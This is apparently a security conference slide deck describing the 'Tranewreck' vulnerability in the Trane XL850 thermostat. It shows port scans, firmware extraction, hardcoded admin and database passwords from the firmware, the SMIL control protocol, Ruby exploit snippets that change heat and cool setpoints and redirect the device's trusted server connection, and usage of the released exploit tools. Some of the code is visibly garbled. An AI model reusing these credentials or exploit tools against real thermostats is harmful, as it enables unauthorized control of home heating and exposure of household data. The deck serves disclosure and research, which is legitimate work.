TRANEWRECK

More Internet, More Problems
Objectives

• How I found this
• What I found
• How we got the vendor to fix it
• Distribute the tools to identify the vuln in the wild.
HOW THIS GOT STARTED
DECEMBER 29TH FURNACE FAILS
Heat exchanger cracks.

- Heat exchanger fails/cracks
GETTING THE NEW FURNACE

• Local dealer offers Trane units
• The model I select comes with the XL850
WHAT DID I BUY?
The company offers remote software downloads as well as USB tarball loading.
XL850 features:

- Remotely set temperature and schedules
- Send notices to your installer for service
- Allow remote administration from Nexia (SSH SMIL)
- Pull weather data from wunderground.com based on zip
- Self-update software from downloaded .tar balls
- Supports Zwave integration
Oh Ruby! :D
THE XL850  MORE INTERNET, MORE ZWAVE, 100% MORE FUN

PORT  STATE SERVICE  VERSION
4447/tcp  open  n1-rmgmt?
4448/tcp  open  unknown
7788/tcp  open  unknown
9999/tcp  open  napster  WinMX or Lopster Napster P2P client
33761/tcp  open  unknown
35838/tcp  open  unknown
THE SMELL TEST

Port: 4448

ENTER COMMAND :

Port: 7788

Connected to xl850-c227dc.
Escape character is '^['.

Port: 9999

1::evChallenge(239,"255713B449047BF4A1C2D1461FD8E477CA782EC7");

Port: 33761

ENTER COMMAND :
You have chosen to open:

r850_144040426701.tar

which is: TAR file (68.8 MB)

from: https://www.trane.com

What should Firefox do with this file?

- Open with Archive Utility (default)
- Save File
- Do this automatically for files like this from now on.

<table>
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Kind</th>
</tr>
</thead>
<tbody>
<tr>
<td>r850_144040426701</td>
<td>72.2 MB</td>
<td>tar archive</td>
</tr>
<tr>
<td>d_144040426701</td>
<td>2.8 MB</td>
<td>TextEdit Document</td>
</tr>
<tr>
<td>e_144040426701</td>
<td>609 KB</td>
<td>TextEdit Document</td>
</tr>
<tr>
<td>m_144040426701</td>
<td>1 KB</td>
<td>TextEdit Document</td>
</tr>
<tr>
<td>u_144040426701</td>
<td>224 KB</td>
<td>TextEdit Document</td>
</tr>
<tr>
<td>v_144040426701</td>
<td>338 bytes</td>
<td>TextEdit Document</td>
</tr>
<tr>
<td>c_144040426701</td>
<td>68.6 MB</td>
<td>TextEdit Document</td>
</tr>
</tbody>
</table>

file *

c_144040426701: HIT archive data
d_144040426701: u-boot legacy uImage, Linux-2.6.35.3-670-g914558e, Linux/ARM, OS Kernel Image (Not compressed), 2769796 bytes, Mon Aug 24 04:49:17 2015, Load Address: 0x40000000, Entry Point: 0x40000000, Header CRC: 0xEE4F86C, Data CRC: 0x129879BE
e_144040426701: DOS executable (COM)
m_144040426701: ASCII text
v_144040426701: ASCII text

```bash
 tar -xzf u_144040426701
```

Trustwave SpiderLabs®
Reviewing the manifest files, and integrity scripts included in the tarball it’s easy to understand how to software is packaged.
Extract UBIFS to access source

Big thanks to jrspruitt. The UBI Reader project made this analysis much easier.
With the filesystem exposed we can explore everything.
(except the busybox)

This includes the ruby modules that control the port services and all the helpful specs, comments, code samples and api docs!

Useful things to extract first:

Matchers, users, password, port, comments, Samples, socket, dns, notes, login, KEY, api, alarm, registration, enrollment
def smil_update(model_id, json_value_map, error_arr)
    smil_str = ""
    # The Key is the SMIL ID and the Value is an array of data
    # Sample, Initial: {"1.7.1.800.2::setHold" => ["","","", ....]}
    #
    # At run time each comma will be replaced by the given input value
    # Sample, Runtime: {"1.7.1.800.2::setHold" => ["85.00", ",", ....]}

module Constants
    # This module includes all the constants of SCC
    module SCC

    HOST = "localhost"
    PORT = "9999"
    SMIL_USER_NAME = "ADMN"
    SMIL_PASSWORD = "Cold,,2100"
    # SMIL_PASSWORD = "system1"
    #SMIL_PASSWORD = "yeldarB!48195"

    # Communication timeout in seconds
    COMM_TIME_OUT = 90
end
This code is documented, contains specs, lots of sample code, and design meeting notes. It all makes it far easier to figure out how to exploit the device.

Mock services can be run
### db/database.yml

```
5  host: localhost
6  port: 5432
7  username: nexia
8  password: Password1
9  encoding: UTF-8
10 pool: 100
```

```
17 host: # see note in EventStore for getting the host ip of your vm
18 username: dbadmin
19 password: password
```

### db/setup_db_user.sql

```
CREATE USER nexia WITH UNENCRYPTED PASSWORD 'Password1';
GRANT ALL ON DATABASE history_store TO nexia;
```

### spec/benchmark/seed_db.rb

```
require 'event_store'

# db_config = Hash[
#   :username => 'postgres',
#   :password => 'Password1',
#
# EventStore.connect :adapter => :vertica, :database => 'nexia_history', host: '192.168.100.65',
#   username: 'dbadmin', password: 'password'
# EventStore.redis_connect host: 'localhost'
```

### spec/benchmark/bench.rb

```
# :username => 'nexia',
# :password => 'Password1',
# host: 'ec2-54-221-80-232.compute-1.amazonaws.com',
# encoding: 'utf8',
```
SMIL

• **What does it stand for?**
  Synchronized Multimedia Integration Language?

• **What does it do?**
  It interacts with just about everything of value in the system. Any action available to the Nexia service or support professionals seems to be supported by these commands.
SMIL IN USE

SMIL ID :: command verb ( { json data } )

REGULAR EXPRESSION

```
/([\d.]+)::(\w*)\((.*)\)/
```

TEST STRING

```
1.11.1::createSecureCallout({"$c_keys"=>["label"=>"DealerPortal", "host"=>"xl-live.mynexia.com", "port"=>"443", "reconnectTime"=>"60", "enabled"=>"TRUE", "encryptedAUIDSupported"=>"FALSE"]});
```

EXPLANATION

- 1st Capturing group ([\d.]+)
  - Match a single character present in the list below
  - Quantifier: * Between zero and unlimited times, as many times as possible, giving back as needed
  - \d match a digit [0-9]
  - \. matches the character . literally
- 2nd Capturing group (\w*)
  - Match any word character [a-zA-Z0-9_]
  - Quantifier: * Between zero and unlimited times, as many times as possible, giving back as needed

MATCH INFORMATION

- MATCH 1
  - [0-6] `1.11.1`
  - [8-27] `createSecureCallout`
  - [28-190] `{"$c_keys"=>["label"=>"DealerPortal", "host"=>"xl-live.mynexia.com", "port"=>"443", "reconnectTime"=>"60", "enabled"=>"TRUE", "encryptedAUIDSupported"=>"FALSE"]}`
Let's login already
"1::login(#{args[0]},"#{Digest::SHA1.hexdigest(msg).upcase}","#{permission}","DefaultLabel",,,,,);
"
My first, most basic attempt recursively dumped every unique data element.
I built another handy script to parse the xml nodes and assemble the command classes.

Listening to the feed overnight gives a great sample.
Things worth tracking include:

- Auth IDs
- Command IDs
- Command Payloads
def self.poke(sock, data, terminator = /End\(\)\;\n/, dump = false)
    buf = ''
    puts " - Sending: #{data}"
    sock.puts(data)
begin
    line = sock.gets
    puts line if dump
    buf << line
end until buf.match(terminator)
return buf
end

def self.parse(data)
    ordered_data = []
data =~ /(?<smil_id>(\d\.|\d)+):(?<command_verb>\([0-9][a-z]+)\((?<payload>.*))\)/i
    dat = data.scan(/(?<smil_id>(\d\.|\d)+):(?<command_verb>\([0-9][a-z]+)\((?<payload>.*))\)/i) do |smil_id, command_verb, payload|
        ordered_data << {smil_id: smil_id, command_verb: command_verb, payload: payload.split(','), unless payload.split(',').empty?}
    end
return ordered_data
end
CAUSING REAL TROUBLE.
def smil_update(model_id, json_value_map, error_arr):
    smil_str = ""
    # The Key is the SMIL ID and the Value is an array of data
    # Sample, Initial: {"1.7.1.800.2::setHold" => ["","","",",...]}
    #
    # At run time each comma will be replaced by the given input value
    # Sample, Runtime: {"1.7.1.800.2::setHold" => ["85.00","","..."],}
    
"1.7.1.#{~[:,:target_id]}.1.2::setHold(#{cool},#{heat});\0"
def self.derail(s, derailer)
    derailer = derailer.split(":")
    sec_probe = '1.11.1::createSecureCallout("LINK","+derailer[0]+","+derailer[1]+","60",TRUE,TRUE);\0'
data = poke(s, sec_probe ,/End\(\));\n/, true)
end

def self.rerail(s, id)
    sec_probe = '1.11.1::removeCallout('+id.to_s+');\0'
data = poke(s, sec_probe ,/End\(\));\n/, true)
end

def self.set_points(s, heat, cool, interval)
    sec_probe = '1.7.1::subscribe();\0'
data = poke(s, sec_probe)
if data =~ /x001\.7\.1::evListBegin\(\);\n/x001\.7\.1::evListItem\((?<target_id>d[5]),"(?<target_name>\.*).\.*\);\n/x001\.7\.1::evList\)
puts "Attacking #$~[:target_name] #$~[:target_id] heat temp: #{heat} deg F, cool temp: #{cool} deg F."
sec_probe = "1.7.1#$~[:target_id].1.2::setHold(#{cool},#{heat});\0"
    Thread.new do
        while true do
            puts sec_probe
            puts Time.now
            sleep interval
        end
    end
end
end
This method works for all the other models as well. Now we can extract anything we want including:

- Current temperature and operating mode
- Installer information
- Home heating and cooling schedule
- Serial Number
- AUID (secret id)
- Nexia registration PIN
- Platform
- Hardware serial numbers
- Raw streaming environmental sensors (temp, humidity)
- Network status and active connection
- Service chat log history
- Alarm history
BUILDING THE NEW TOOL
Building a point and click tool is easy. It’s not required for the device to have any special features enabled.

This service is vulnerable out of the box to anyone able to reach it. If the device is currently connected to Nexia it just makes information gathering even easier.

This can be parsed easily and the tool will display an inventory of the most interesting information.
Tranewreck

Tranewreck is a collection of ruby scripts meant to connect with and exploit vulnerable thermostats running ComfortLink II based firmware, specifically the Trane ComfortLink II XL850. Use these tools only on devices you own or have consent to test.

There are three tools included in this repository:

- tranewreck.rb
- derailer.rb
- tranewreck_single.rb

Requirements

These tools are written in Ruby and you should have a recent version of Ruby installed. If you do not you must install ruby on your system. The package comes with a gem file. To ensure you have everything you need in addition to ruby run:

```
$ cd Tranewreck/
$ bundle install
```
tranewreck.rb provides access to the most valuable information on the device without modifying the settings or configuration of the device.

Usage:

Usage: tranewreck.rb -t [TARGET] [options]

options
- `-h, --help` help
- `-t, --target IP` where?
- `-s, --stay` fire subscribe and stay connected
derailer.rb gives the ability to update heating and cooling points. You can also remove the device from active server connection and establish a new arbitrary connection.

**derailer.rb**

Derailer is meant to change heating and cooling points as well as establish and delete trusted server connections. Here be dragons. Using this script my permanently update the settings of the targeted thermostat.

**Usage:**

```
Usage: derailer.rb -t [TARGET] [OPTIONS]
Options
  -h, --help                  help
  -t, --target=n             where?
  -H, --set_heat=n           set heat int
  -C, --set_cold=n           set cold int
  -d, --derail=n             makes new trusted connection to host:port
  -r, --rerail=n             remove a given server from trusted connections.
```
SCOPE OF THE PROBLEM...
AND MORE PROBLEMS
So What?
• Software downloads can be forced.
• Weather data is pulled from wunderground.com.
• Vulnerable to DNS spoofing.
• The firmware contains private server keys.
• This backbone Nexia service touches a lot.
There are more every day
Much more opportunity

Meet The Family

At Ingersoll Rand we are a diversified industrial manufacturer with market-leading brands serving the global commercial, industrial and residential markets. Our roster of brands includes well-known, highly regarded regional brands serving a variety of market segments.

Our people and market-leading brands work together to enhance the quality and comfort of our customers’ buildings, transport and protect food and perishables, and increase industrial productivity and performance. We are committed to sustainable business practices within our company and for our customers, helping to improve the quality of life and the health of our environment around the world.

Explore our other brands
THERE ARE PROBLEMS AT HOME
The vendor has other security issues like directory listing in protected areas.

Github repositories have also been exposed with keys, salts, passwords, anything you can imagine.
Twitter: @ItsOkImJK

https://keybase.io/itsokimjk

https://github.com/JeffKitson/Tranewreck_tools
THANK YOU